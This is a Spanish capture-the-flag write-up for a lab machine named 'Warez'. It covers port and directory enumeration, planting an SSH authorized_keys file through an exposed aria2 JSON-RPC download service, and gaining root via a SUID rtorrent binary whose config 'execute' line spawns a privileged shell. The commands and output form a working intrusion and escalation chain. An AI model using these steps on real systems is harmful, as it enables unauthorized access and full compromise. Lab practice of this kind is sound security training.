079 - Warez - wh01s17

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.55
❯ nmap -sCV -p22,80,6800 -oN 02-targeted.txt 192.168.1.55
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-22 14:30 -04
Nmap scan report for 192.168.1.55
Host is up (0.00027s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 cc:00:63:dd:49:fb:1c:c7:ac:69:63:bc:05:1a:59:cd (RSA)
|   256 9b:19:49:25:eb:9c:60:c5:2b:ec:2a:d4:fd:d1:c2:f4 (ECDSA)
|_  256 41:16:e6:d0:a0:da:22:4f:07:3f:c8:cf:60:2c:02:79 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Aria2 WebUI
6800/tcp open  http    aria2 downloader JSON-RPC
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds

❯ gobuster dir -u 'http://192.168.1.55' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/result.txt           (Status: 200) [Size: 1585]
...

En result.txt hay logs que revelan que aria2c corre como el usuario carolina:

...
carolina     395  0.0  1.4  56736 14464 ?        S    02:42   0:00 aria2c --enable-rpc --rpc-listen-all
...

La interfaz web es un gestor de descargas aria2 que guarda por defecto en el home de carolina. Lo usamos para subir nuestro authorized_keys a /home/carolina/.ssh y entrar por SSH:

❯ ssh carolina@192.168.1.55 -i id_rsa_carolina
Enter passphrase for key 'id_rsa_carolina': 1234
Linux warez 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64
...
carolina@warez:~$

Obtenemos la primera flag. Para escalar, buscamos binarios SUID:

carolina@warez:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/rtorrent
...

rtorrent con SUID ejecuta los comandos de su archivo de configuración .rtorrent.rc. Le indicamos que lance una shell con -p:

carolina@warez:~$ echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
carolina@warez:~$ cat .rtorrent.rc
execute = /bin/sh,-p,-c,"/bin/sh -p </dev/pts/1 >/dev/pts/1 2>/dev/pts/1"
carolina@warez:~$ rtorrent
# whoami
root

Obtenemos nuestra flag.

Fin.